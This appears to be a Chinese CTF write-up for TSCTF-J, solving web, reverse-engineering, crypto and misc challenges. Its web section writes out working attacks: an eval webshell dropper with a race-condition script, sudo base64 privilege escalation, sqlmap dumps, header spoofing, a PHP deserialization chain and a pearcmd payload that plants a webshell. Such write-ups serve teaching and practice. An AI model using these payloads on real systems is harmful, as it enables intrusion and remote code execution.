Web 方向 争渡 上传php文件 web返回 已从tmp删除 可知存在时间差
1 2 3 4 <?php $f = fopen ("shell.php" , "w" );fputs ($f , '<?php @eval($_POST["cmd"]);?>' );?>
利用这个脚本 在服务器删除该文件之前 访问文件 使其在tmp写入一句话木马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import requestsimport timeurl = "http://127.0.0.1:60865/tmp/getshell.php" while True : try : html = requests.get(url, headers=headers, timeout=5 ) if html.status_code == 200 : print ("OK" ) break else : print ("NO" ) except requests.exceptions.ConnectionError: print ("连接被关闭,重试中..." ) except requests.exceptions.Timeout: print ("请求超时,重试中..." ) except Exception as e: print (f"其他错误: {e} " ) time.sleep(0.4 )
访问成功 后 利用蚁剑连接 可以发现flag需要提权访问
1 2 3 4 5 6 (www-data:/) $ sudo -l Matching Defaults entries for www-data on ret2shell-116-91-1763539185: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty User www-data may run the following commands on ret2shell-116-91-1763539185: (ALL) NOPASSWD: /usr/bin/base64 (www-data:/) $
通过sudo -l 可以知道 可以利用base64 但是 会发现base64 查看flag返回空 说明base64 经过修改 需要查看 他的源码 这里提供两种方法
base32读/usr/bin/base64文件,然后复制到自己电脑上并解码,则可得到base64
把/usr/bin/base64文件cp到web目录(/var/www/html)下,访问即可下载base64 逆向后 发现就是给命令执行程序
1 sudo base64 "Y2F0" "L2ZsYWc="
获得flag
EZ_sql 抓包发现是post传参 尝试用sqlmap
1 sqlmap -u "http://192.168.232.1:53977/" --data "id=1" –batch
发现存在多种sql漏洞 获取所有数据库
1 sqlmap -u "http://192.168.232.1:53977/" --data "id=1" --batch –dbs
1 sqlmap -u "http://192.168.232.1:53977/" --data "id=1" --batch -D welcome --tables
1 sqlmap -u "http://192.168.232.1:53977/" --data "id=1" --batch -D welcome -T flag –dump
获得flag TSCTF-J{sql_1nj3ct10n_m4573r}
EZ_login 对网址进行抓包 可以发现 验证码是跟cookie session 绑定的 ,因此保留cookie 对密码进行爆破 可以得到 simple 是密码 网页提示 不是本地管理员 ,修改请求包 添加X-Forwarded-For: 127.0.0.1 欺骗网址我是本地登录 对token进行base64解码 获得flag: TSCTF-J{w31c0m3_70_7h3_w38_j0urn3y}
Druid 访问127.0.0.1:57735/druid 猜测 admin为账号密码 找到用户名Y0v_S22_Dru1d 获得flag
Findsecret 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php highlight_file (__FILE__ );class SecretVault { public $accessKey =0 ; public $hiddenData ='a:2:{i:0;s:19:"/usr/local/lib/php/";i:1;s:11:"/../pearcmd";}x' ; } class FlagGuardian { public $puzzle ; public $decoy ; } class SecretHunter { public $clue ; public $target = "treasure" ; public $tool ; } class TrapTrigger { public $trigger ; public $countermeasure ; } $a = new SecretHunter ();$a ->target= new FlagGuardian ();$a ->target->puzzle=new SecretVault ();echo urlencode (serialize ($a ));$user = unserialize ($ser );?>
构造如上 pop链 触发include 函数 获得序列化值
1 O%3A12%3A%22SecretHunter%22%3A3%3A%7Bs%3A4%3A%22clue%22%3BN%3Bs%3A6%3A%22target%22%3BO%3A12%3A%22FlagGuardian%22%3A2%3A%7Bs%3A6%3A%22puzzle%22%3BO%3A11%3A%22SecretVault%22%3A2%3A%7Bs%3A9%3A%22accessKey%22%3Bi%3A0%3Bs%3A10%3A%22hiddenData%22%3Bs%3A61%3A%22a%3A2%3A%7Bi%3A0%3Bs%3A19%3A%22%2Fusr%2Flocal%2Flib%2Fphp%2F%22%3Bi%3A1%3Bs%3A11%3A%22%2F..%2Fpearcmd%22%3B%7Dx%22%3B%7Ds%3A5%3A%22decoy%22%3BN%3B%7Ds%3A4%3A%22tool%22%3BN%3B%7D
传参后 web访问pearcmd..php 接下来利用 pearcmd 对web传参 实现rce
1 2 ?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_GET['cmd']);?>+/var/www/html/webshell.php
注意hackbar 会将<>进行url编码 导致 可执行代码没有被正确识别 所以使用bp传参 访问flag文件 获得flag TSCTF-J{N0w-y0u-kNOW_iNTErEStlng-Pop_@ND_IfI_To_rCE649}
Reverse 方向 Singin 用ida逆向得 以下关键代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 __int64 sub_140001700 () { Stream *Stream; char Buffer[256 ]; __int64 Buf2; _QWORD v4[4 ]; void *Buf1; const char *WelcomeToTSCTF; size_t Size; sub_140001960 (); Buf2 = 0x3D13023261347C23LL ; v4[0 ] = 0x143402370D641267LL ; *(_QWORD *)((char *)v4 + 7 ) = 0x347024692B7A0314LL ; *(_QWORD *)((char *)&v4[1 ] + 7 ) = 0x284202766B703261LL ; Size = 31LL ; sub_1400029A0 ("please input your flag: " ); Stream = __acrt_iob_func(0 ); if ( !fgets (Buffer, 256 , Stream) ) return 1LL ; Buffer[strcspn (Buffer, "\n" )] = 0 ; if ( Size == strlen (Buffer) ) { WelcomeToTSCTF = "WelcomeToTSCTF" ; Buf1 = malloc (Size); if ( Buf1 ) { sub_140001660 (Buffer, WelcomeToTSCTF, Buf1, Size); if ( !memcmp (Buf1, &Buf2, Size) ) puts ("Correct Flag!" ); else puts ("Wrong Flag!" ); free (Buf1); return 0LL ; } else { return 1LL ; } } else { puts ("Wrong Flag!" ); return 1LL ; } } unsigned __int64 __fastcall sub_140001660 (__int64 a1, const char *a2, __int64 a3, unsigned __int64 i_2) { size_t v4; unsigned __int64 i_1; size_t v6; char *v7; unsigned __int64 i; v4 = strlen (a2); v7 = (char *)sub_1400014EC (a2, v4); v6 = strlen (v7); for ( i = 0LL ; ; ++i ) { i_1 = i; if ( i >= i_2 ) break ; *(_BYTE *)(a3 + i) = v7[i % v6] ^ *(_BYTE *)(a1 + i); } return i_1; } _BYTE *__fastcall sub_1400014EC (__int64 a1, unsigned __int64 i_1) { unsigned __int64 v3; unsigned __int64 v4; unsigned __int64 v5; _BYTE *v6; unsigned __int64 i; unsigned __int64 v8; int v9; int v10; sub_140001488 (aAbcdefghijklmn); v6 = malloc (4 * ((i_1 + 2 ) / 3 ) + 1 ); if ( !v6 ) return 0LL ; v10 = 0 ; v9 = -6 ; v8 = 0LL ; for ( i = 0LL ; i < i_1; ++i ) { v10 = (v10 << 8 ) + *(unsigned __int8 *)(a1 + i); for ( v9 += 8 ; v9 >= 0 ; v9 -= 6 ) { v3 = v8++; v6[v3] = aAbcdefghijklmn[(v10 >> v9) & 0x3F ]; } } if ( v9 >= -5 ) { v4 = v8++; v6[v4] = aAbcdefghijklmn[(v10 << 8 >> (v9 + 8 )) & 0x3F ]; } while ( v8 < 4 * ((i_1 + 2 ) / 3 ) ) { v5 = v8++; v6[v5] = 61 ; } v6[v8] = 0 ; return v6; } __int64 __fastcall sub_140001488 (__int64 a1) { __int64 result; int i; for ( i = 0 ; i <= 63 ; ++i ) result = sub_140001450 (i + a1, a1 + (7 * i + 5 ) % 64 ); return result; }
先求自定义的base64编码表
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 def generate_custom_base64_table (): original_table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" table_list = list (original_table) for i in range (64 ): pos = (7 * i + 5 ) % 64 table_list[i], table_list[pos] = table_list[pos], table_list[i] return '' .join(table_list) custom_table = generate_custom_base64_table() print ("自定义Base64编码表:" )print (custom_table)print ("\n编码表长度:" , len (custom_table))
得到编码表
1 VkbKJo3PNcCSZQGXdUaLEwOet07jxAWmlsDqp9uf1Riy5F2nIB6rh4/+g8TzMYHv
将WelcomeToTSCTF 用自定义的base64编码表编码得到密钥
用这个与buf1 数值异或
1 23 7C 34 61 32 02 13 3D 67 12 64 0D 37 02 34 14 03 7A 2B 69 24 70 34 61 32 70 6B 76 02 42
TSCTF-J{We1c@me_t0_TS_CTF_2025}
听绿的秘密 用ja-gui 对tinglv.jar 逆向 获得以下代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.InputStream;import java.lang.reflect.Method;public class Runner { static class CustomClassLoader extends ClassLoader { private final String resourceName; public CustomClassLoader (String param1String) { this .resourceName = param1String; } protected Class<?> findClass(String param1String) throws ClassNotFoundException { try { InputStream inputStream = getResourceAsStream(this .resourceName); try { if (inputStream == null ) throw new ClassNotFoundException ("Resource not found: " + this .resourceName); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); byte [] arrayOfByte1 = new byte [1024 ]; int i; while ((i = inputStream.read(arrayOfByte1, 0 , arrayOfByte1.length)) != -1 ) byteArrayOutputStream.write(arrayOfByte1, 0 , i); byteArrayOutputStream.flush(); byte [] arrayOfByte2 = byteArrayOutputStream.toByteArray(); byte [] arrayOfByte3 = new byte [arrayOfByte2.length]; for (byte b = 0 ; b < arrayOfByte2.length; b++) arrayOfByte3[b] = (byte )(arrayOfByte2[b] - 7 ); Class<?> clazz = defineClass(param1String, arrayOfByte3, 0 , arrayOfByte3.length); if (inputStream != null ) inputStream.close(); return clazz; } catch (Throwable throwable) { if (inputStream != null ) try { inputStream.close(); } catch (Throwable throwable1) { throwable.addSuppressed(throwable1); } throw throwable; } } catch (IOException iOException) { throw new ClassNotFoundException ("Can't read this: " + param1String, iOException); } } } public static void main (String[] paramArrayOfString) { try { String str = "Secret.obf" ; CustomClassLoader customClassLoader = new CustomClassLoader (str); Class<?> clazz = customClassLoader.loadClass("Secret" ); Method method = clazz.getMethod("main" , new Class [] { String[].class }); method.invoke(null , new Object [] { paramArrayOfString }); } catch (Exception exception) { System.err.println("Error: " + exception.getMessage()); exception.printStackTrace(); } } }
分析代码逻辑 解密secret.obf,执行解密后secret.class的程序 ,对cat.png加密得到Where_is_my_cat.png图片
1 2 加密时:原始类文件(.class)的每个字节加 7,得到加密文件(Secret.obf); 解密时:CustomClassLoader对Secret.obf的每个字节减 7,还原出原始的.class字节码。
先将secret.obf 文件解密得到secret.class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 import java.nio.file.Files;import java.nio.file.OpenOption;import java.nio.file.Path;import java.nio.file.Paths;import java.util.Arrays;public class Secret { public static void main (String[] var0) throws Exception { if (var0.length < 2 ) { System.out.println("2 args required." ); } else { Path var1 = Paths.get(var0[0 ]); Path var2 = Paths.get(var0[1 ]); byte [] var3 = Files.readAllBytes(var1); byte [] var4 = Arrays.copyOf(var3, var3.length); int var5 = 123 ; for (int var6 = 0 ; var6 < var4.length; ++var6) { int var7 = var4[var6] & 255 ; int var8 = (var6 + var5) % 8 ; int var9 = var7 + var6 % 251 + var5 & 255 ; int var10; if (var8 == 0 ) { var10 = var9; } else { var10 = (var9 << var8 | var9 >>> 8 - var8) & 255 ; } var4[var6] = (byte )var10; var5 = var5 + var10 + 37 & 255 ; } Files.write(var2, var4, new OpenOption [0 ]); System.out.println("Done." ); } } }
根据secret.class 的加密流程写出解密文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 import java.nio.file.Files;import java.nio.file.OpenOption;import java.nio.file.Path;import java.nio.file.Paths;public class Decrypt { public static void main (String[] args) throws Exception { String currentDir = System.getProperty("user.dir" ); System.out.println("当前工作目录: " + currentDir); String encryptedFile = "C:\\Users\\link\\Desktop\\untitled2\\src\\Where_is_my_cat.png" ; String decryptedFile = "cat.png" ; Path encryptedPath = Paths.get(encryptedFile); Path decryptedPath = Paths.get(decryptedFile); if (!Files.exists(encryptedPath)) { System.err.println("错误:找不到文件 " + encryptedPath.toAbsolutePath()); System.err.println("请确认文件是否在上述工作目录中,或修改代码中的文件路径" ); return ; } byte [] encryptedData = Files.readAllBytes(encryptedPath); byte [] decryptedData = new byte [encryptedData.length]; int var5 = 123 ; for (int var6 = 0 ; var6 < encryptedData.length; ++var6) { int var10 = encryptedData[var6] & 255 ; int var8 = (var6 + var5) % 8 ; int var9; if (var8 == 0 ) { var9 = var10; } else { var9 = (var10 >>> var8 | var10 << (8 - var8)) & 255 ; } int originalValue = (var9 - (var6 % 251 ) - var5) & 255 ; decryptedData[var6] = (byte ) originalValue; var5 = (var5 + var10 + 37 ) & 255 ; } Files.write(decryptedPath, decryptedData, new OpenOption [0 ]); System.out.println("解密完成,文件已保存为: " + decryptedPath.toAbsolutePath()); } }
执行程序 得到图片
CryDancing 解压 ipa文件 对CryDancing 用ida 反汇编 得到如下
主要程序 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 void __cdecl -[ViewController checkInput:](ViewController *self, SEL a2, id a3){ UITextField *self_1; NSString *obj; id self_2; const __CFString *v7; const __CFString *v8; self_1 = objc_retainAutoreleasedReturnValue (-[ViewController textField](self, "textField" , a3)); obj = objc_retainAutoreleasedReturnValue (-[UITextField text](self_1, "text" )); objc_release (self_1); self_2 = objc_retainAutoreleasedReturnValue (+[LynsSecret YouCanSeeThisRight:](&OBJC_CLASS___LynsSecret, "YouCanSeeThisRight:" , obj)); if ( (unsigned int )objc_msgSend ( self_2, "isEqualToString:" , CFSTR ("bvOaEEh1F5pDkMpM6n5src+Jym4ineiRvbWRIidoLHD1KGuRk8vyRsDpQ4XGYtNKnQDvFBEnG3DsCDGqJ8Xv8g==" )) ) { v7 = CFSTR ("成功" ); v8 = CFSTR ("恭喜你!" ); } else { v7 = CFSTR ("错误" ); v8 = CFSTR ("好像不对哦!" ); } -[ViewController showAlertWithTitle:message:](self, "showAlertWithTitle:message:" , v7, v8); objc_release (self_2); objc_release (obj); }
逻辑: 将flag 加密后的base值与bvOaEEh1F5pDkMpM6n5src+Jym4ineiRvbWRIidoLHD1KGuRk8vyRsDpQ4XGYtNKnQDvFBEnG3DsCDGqJ8Xv8g==对比
加密flag程序 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 id __cdecl +[LynsSecret YouCanSeeThisRight:]( __objc2_class *p__OBJC_CLASS_$_LynsSecret, SEL YouCanSeeThisRight:, id obj) { id self; id obj_1; void *self_1; void *self_3; void *obj_2; NSMutableData *self_2; char *dataOutAvailable; void *dataOut; id self_4; const void *key; void *keyLength; NSMutableData *self_5; const void *iv; id self_6; NSData *self_7; NSString *obj_3; size_t dataOutMoved; self = objc_retain (obj); obj_1 = objc_retainAutoreleasedReturnValue (+[LynsSecret GetKey](&OBJC_CLASS___LynsSecret, "GetKey" )); self_1 = objc_retainAutoreleasedReturnValue (objc_msgSend (&self_, "stringByAppendingFormat:" , CFSTR ("%@%@%@%@" ), obj_1, obj_1, obj_1, obj_1)); objc_release (obj_1); self_3 = objc_retainAutoreleasedReturnValue (objc_msgSend (self, "dataUsingEncoding:" , 4LL )); objc_release (self); obj_2 = objc_retainAutoreleasedReturnValue (objc_msgSend (self_1, "dataUsingEncoding:" , 4LL )); self_2 = objc_retainAutorelease (objc_retainAutoreleasedReturnValue (+[NSMutableData dataWithLength:](&OBJC_CLASS___NSMutableData, "dataWithLength:" , 16LL ))); *(_DWORD *)-[NSMutableData mutableBytes](self_2, "mutableBytes" ) = 375 ; dataOutAvailable = (char *)objc_msgSend (self_3, "length" ) + 16 ; dataOut = malloc ((size_t )dataOutAvailable); dataOutMoved = 0LL ; self_4 = objc_retainAutorelease (obj_2); key = objc_msgSend (self_4, "bytes" ); keyLength = objc_msgSend (self_4, "length" ); self_5 = objc_retainAutorelease (self_2); iv = -[NSMutableData bytes](self_5, "bytes" ); self_6 = objc_retainAutorelease (self_3); CCCrypt ( 0 , 0 , 1u , key, (size_t )keyLength, iv, objc_msgSend (self_6, "bytes" ), (size_t )objc_msgSend (self_6, "length" ), dataOut, (size_t )dataOutAvailable, &dataOutMoved); self_7 = objc_retainAutoreleasedReturnValue ( +[NSData dataWithBytesNoCopy:length:]( &OBJC_CLASS___NSData, "dataWithBytesNoCopy:length:" , dataOut, dataOutMoved)); obj_3 = objc_retainAutoreleasedReturnValue (-[NSData base64EncodedStringWithOptions:](self_7, "base64EncodedStringWithOptions:" , 0LL )); objc_release (self_7); objc_release (self_5); objc_release (self_4); objc_release (self_6); objc_release (self_1); return objc_autoreleaseReturnValue (obj_3); }
程序逻辑:
密钥(Key)处理:生成 AES 加密的密钥 调用LynsSecret的类方法GetKey(),获取原始密钥(假设为K)
将原始密钥K拼接4次(K + K + K + K),生成最终AES密钥(Key = KKKK)
输入文本预处理:转为二进制数据 保留用户输入的原始文本obj
将用户输入的文本obj以UTF-8编码(4LL)转为二进制数据(加密需要二进制输入)
目的:AES 加密算法的输入必须是二进制数据(NSData),因此需先将用户输入的字符串(NSString)转为 UTF-8 编码的二进制。
初始化向量(IV)固定:AES-CBC 模式的必要参数
创建长度为16字节的可变二进制数据(AES的IV固定为16字节,对应128位)
1 self_2 = objc_retainAutorelease(objc_retainAutoreleasedReturnValue(+[NSMutableData dataWithLength:](&OBJC_CLASS___NSMutableData, "dataWithLength:", 16LL)));
将IV的第一个32位(4字节)赋值为375(十六进制0x177,二进制固定)
1 *(_DWORD *)-[NSMutableData mutableBytes](self_2, "mutableBytes") = 375;
即17700000000000000000000000000000
检索密钥程序 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 id __cdecl +[LynsSecret GetKey](__objc2_class *p__OBJC_CLASS_$_LynsSecret, SEL GetKey) { __int64 n25_3; __int64 n25_4; char v5; __int64 n25_5; char v7; __int64 v8; char v9; NSString *obj; void *self; unsigned __int8 v12; __int64 n25_2; __int64 n25_1; __int64 n25; _BYTE nullTerminatedCString[5 ]; n25_3 = 0LL ; nullTerminatedCString[4 ] = 0 ; LABEL_2: n25_4 = 0LL ; n25_2 = n25_3; v5 = aAbcdefghijklmn[n25_3]; LABEL_3: n25_5 = 0LL ; n25_1 = n25_4; v7 = aAbcdefghijklmn[n25_4]; LABEL_4: v8 = 0LL ; n25 = n25_5; v9 = aAbcdefghijklmn[n25_5]; while ( 1 ) { nullTerminatedCString[0 ] = v5; nullTerminatedCString[1 ] = v7; nullTerminatedCString[2 ] = v9; nullTerminatedCString[3 ] = aAbcdefghijklmn[v8]; obj = objc_retainAutoreleasedReturnValue ( +[NSString stringWithUTF8String:]( &OBJC_CLASS___NSString, "stringWithUTF8String:" , nullTerminatedCString, n25_2)); self = objc_retainAutoreleasedReturnValue (-[__objc2_class md5FromString:](p__OBJC_CLASS_$_LynsSecret, "md5FromString:" , obj)); v12 = (unsigned __int8)objc_msgSend (self, "isEqualToString:" , CFSTR ("674040176a34f6c994003fe85badfc48" )); objc_release (self); if ( (v12 & 1 ) != 0 ) return objc_autoreleaseReturnValue (obj); objc_release (obj); if ( ++v8 == 26 ) { n25_5 = n25 + 1 ; if ( n25 != 25 ) goto LABEL_4; n25_4 = n25_1 + 1 ; if ( n25_1 != 25 ) goto LABEL_3; n25_3 = n25_2 + 1 ; if ( n25_2 != 25 ) goto LABEL_2; obj = 0LL ; return objc_autoreleaseReturnValue (obj); } } }
通过分析 可知 GetKey 返回值是 NOTD 所以AES 密钥 为 NOTDNOTDNOTDNOTD
1 2 3 4 5 6 7 8 9 CCCrypt( 0, // 操作类型:0 表示加密(kCCEncrypt) 0, // 加密算法:0 对应 kCCAlgorithmAES(AES 算法) 1u, // 选项标志:1 对应 kCCOptionPKCS7Padding(PKCS7 填充,AES 分组加密需填充) key, // 密钥(由 LynsSecret 类的逻辑生成) keyLength, // 密钥长度(符合 AES 128/192/256 位规范) iv, // 初始化向量(IV),CBC 模式必需,ECB 模式无此参数 ... );
由这个可知 运算模式cbc 填充模式pkcs7 总流程: 将flag AES 加密后的16进制值 进行base64解码 对比是否吻合
1 bvOaEEh1F5pDkMpM6n5src+Jym4ineiRvbWRIidoLHD1KGuRk8vyRsDpQ4XGYtNKnQDvFBEnG3DsCDGqJ8Xv8g==
获得flag TSCTF-J{S0rry_th3_4nswer_h4s_n0thing_2_do_with_l7rics}
Crypto 方向 Cantor’s gifts 计算flag 的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from math import factorialhint = 2498752981111460725490082182453813672840574 hint2 = b'5__r0tfg5f_34rtm__t_0ury0hft0t3n11c_t' n = len (hint2) def lehmer_to_permutation (lehmer_code, n ): """将Lehmer编码转换为排列""" permutation = [] available = list (range (1 , n+1 )) for i in range (n): fact = factorial(n - i - 1 ) index = lehmer_code // fact lehmer_code = lehmer_code % fact permutation.append(available[index]) del available[index] return permutation reflection = lehmer_to_permutation(hint, n) inverse_reflection = [0 ] * n for idx, pos in enumerate (reflection): inverse_reflection[pos - 1 ] = idx original_message = bytearray (n) for i in range (n): original_message[i] = hint2[inverse_reflection[i]] flag = b'TSCTF-J{' + original_message + b'}' print ("原始消息:" , original_message)print ("Flag:" , flag.decode())
TSCTF-J{c4nt0r5_g1ft_f0r_th3_f1r5t_y0u_t0_m3t}
野狐禅 recover
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 import mathfrom sympy import Matrixdef long_to_bytes (n ): if n == 0 : return b'' return n.to_bytes((n.bit_length() + 7 ) // 8 , 'big' ) def main (): with open ("challenge.txt" , "r" ) as f: lines = f.readlines() n = int (lines[0 ].split(": " )[1 ]) g = int (lines[1 ].split(": " )[1 ]) k = int (lines[2 ].split(": " )[1 ]) eqs = int (lines[3 ].split(": " )[1 ]) ciphertexts = [] for i in range (4 , 4 + 2 * k): ciphertexts.append(int (lines[i].strip())) lcg_raws = [] for i in range (4 + 2 * k, 4 + 4 * k): lcg_raws.append(int (lines[i].strip())) S = lcg_raws D = [] for i in range (1 , len (S)): D.append(S[i] - S[i - 1 ]) T = [] for i in range (len (D) - 2 ): T.append(D[i] * D[i + 2 ] - D[i + 1 ] * D[i + 1 ]) M = T[0 ] for i in range (1 , len (T)): M = math.gcd(M, T[i]) M = abs (M) m = M found = False a = None b = None for i in range (1 , len (S) - 2 ): d0 = S[i] - S[i - 1 ] d1 = S[i + 1 ] - S[i] if math.gcd(d0, m) == 1 : a = (d1 * pow (d0, -1 , m)) % m b = (S[i] - a * S[i - 1 ]) % m found = True break if not found: d0 = S[1 ] - S[0 ] d1 = S[2 ] - S[1 ] g = math.gcd(d0, m) if d1 % g != 0 : print ("Error: Cannot solve for a and b" ) return m1 = m // g d01 = d0 // g d11 = d1 // g a0 = (d11 * pow (d01, -1 , m1)) % m1 for t in range (g): a_candidate = a0 + t * m1 b_candidate = (S[1 ] - a_candidate * S[0 ]) % m if (a_candidate * S[1 ] + b_candidate) % m == S[2 ]: a = a_candidate b = b_candidate found = True break if not found: print ("Error: Cannot find a and b" ) return n2 = n * n y_values = [] for i in range (len (ciphertexts)): c = ciphertexts[i] raw = lcg_raws[i] r = raw % n r_n = pow (r, n, n2) inv_r_n = pow (r_n, -1 , n2) X = (c * inv_r_n) % n2 m_val = (X - 1 ) // n y_values.append(m_val) A = [] b = [] for i in range (k): row = [] for j in range (k): index = i + k - 1 - j row.append(y_values[index]) A.append(row) b.append(y_values[k + i]) A_mat = Matrix(A) b_mat = Matrix(b) if A_mat.det() == 0 : print ("Error: Matrix A is singular" ) return x = A_mat.inv() * b_mat coeffs = [int (x_i) for x_i in x] n_flag = 0 for i in range (len (coeffs)): n_flag += coeffs[i] * (3 ** i) flag = long_to_bytes(n_flag) print (flag.decode()) if __name__ == "__main__" : main()
读取挑战数据 从challenge.txt中读取关键信息:Paillier 加密的公钥n、g,系数长度k,方程组数量eqs,以及加密后的密文列表和 LCG 生成器的原始输出值。
破解 LCG 参数(m, a, b) LCG(线性同余生成器)的状态更新公式为state = (a * state + b) % m,题解通过以下方式破解其参数: 计算 LCG 输出序列的一阶差分D(相邻元素的差),利用 LCG 的性质,差分序列满足D[i+1] = a * D[i] % m。 计算二阶差分相关的T序列(T[i] = D[i]D[i+2] - D[i+1]^2),这些T值均为m的倍数,因此它们的最大公约数即为m。 已知m后,利用一阶差分D求解a(比例系数)和b(偏移量),通过线性同余方程D[i+1] ≡ a D[i] mod m反推a,再代入状态公式求b。
解密得到 y 序列 题目中使用简化的 Paillier 加密y值,加密公式为c = (g^m_val * r^n) % n²(g = n+1)。解密过程: 由 LCG 的原始输出raw计算r = raw % n,并得到r^n mod n²。 求r^n的模逆,与密文c相乘,得到g^m_val mod n²。 利用g = n+1的性质,(n+1)^m_val ≈ 1 + m_val*n mod n²(二项式展开近似),因此(g^m_val - 1) // n即为原始y值。
解线性方程组求系数 coeffs 题目中y序列的后半部分是前半部分与coeffs的线性组合(y[k+i] = sum(coeffs[j] * y[i+k-1-j]))。据此构建线性方程组: 矩阵A的行由前k个y值的滑动窗口组成。 向量b由后半部分的y值组成。 求解方程组A * coeffs = b,得到coeffs(flag 的三进制表示系数)。
还原 flag coeffs是 flag 的三进制表示(从低位到高位),将其转换为整数(n_flag = sum(coeffs[i] * 3^i)),再转成字节序列即得到 flag TSCTF-J{We_sh0u1d_kn0w!}
Sign in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import base64KEY1_hex = "a6c8b6733c9b22de7bc0253266a3867df55acde8635e19c73313c1819383df93" KEY2_xor_KEY1_hex = "b38dc315bb7c75e3c9fa84f123898ff684fd36189e83c422cf0d2804c12b4c83" KEY2_xor_KEY3_hex = "11abed33a76d7be822ab718422844e1d40d72a96f02a288aa3b168165922138f" FLAG_xor_all_hex = "e1251504cdb300420a0520fc1c15b010d4bfb118c2477b78f3eafbe1acf0f121" KEY1 = int (KEY1_hex, 16 ) KEY2_xor_KEY1 = int (KEY2_xor_KEY1_hex, 16 ) KEY2_xor_KEY3 = int (KEY2_xor_KEY3_hex, 16 ) FLAG_xor_all = int (FLAG_xor_all_hex, 16 ) KEY2 = KEY2_xor_KEY1 ^ KEY1 KEY3 = KEY2_xor_KEY3 ^ KEY2 m = FLAG_xor_all ^ KEY1 ^ KEY2 ^ KEY3 m_hex = hex (m)[2 :] if len (m_hex) % 2 != 0 : m_hex = '0' + m_hex m_bytes = bytes .fromhex(m_hex) flag = base64.b64decode(m_bytes).decode('utf-8' ) print (f"flag = {flag} " )
TSCTF-J{I_like_Crypto}
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import mathfrom Crypto.Util.number import long_to_bytese = 0x10001 n = 17051407421191257766878232954687995776275810092183184400406052880776283989210979642731778073370935322411364098277851627904479300390445258684605069414401583042318910193017463817007183769745191345053634189302047446965986220310713141272104307300803560476507359063543147558286276881771260972717080160544078251002420560031692800880310702557545555020333582797788637377901506395695115351043959528307703535156759957098992921231240480724115372547821536358993064005667175508572424424498140029596238691489470392031290179060300593482514446687661068760457021164559923920591924277937814270216802997593891640228684835585559706493543 c = 6853848340403815994585475502319517119889957571722212403728096345969080424626781659085329098693249503884838912886399198433606071464349852827030377680456139046436386063565577131001152891176064224036780277315958771309063181054101040906120879494157473100295607616604515810676954786850526056316144848921849017030095717895244910724234927693999607754055953250981051858498499963202512464388765761597435963200846457903991924487952495202449073962133164877330289865956477568456497103568127103331224273528931042804794039714404647322385366048042459109584024130199496106946124782839099804356052016687352504438568019898976023369460 s = (1 << 1024 ) + (1 << 1023 ) k = s * s - 4 * n d = int (math.isqrt(k)) if d * d != k: raise ValueError("无法计算正确的d值" ) p = (s + d) // 2 q = (s - d) // 2 if p * q != n: raise ValueError("分解n失败" ) phi = (p - 1 ) * (q - 1 ) d_private = pow (e, -1 , phi) m = pow (c, d_private, n) flag = long_to_bytes(m) print (flag.decode())
TSCTF-J{The_easiest_RSA_key!}
Misc 方向 BadFile 直接按照文件大小排序 最大的几个文件基本都是问题文件
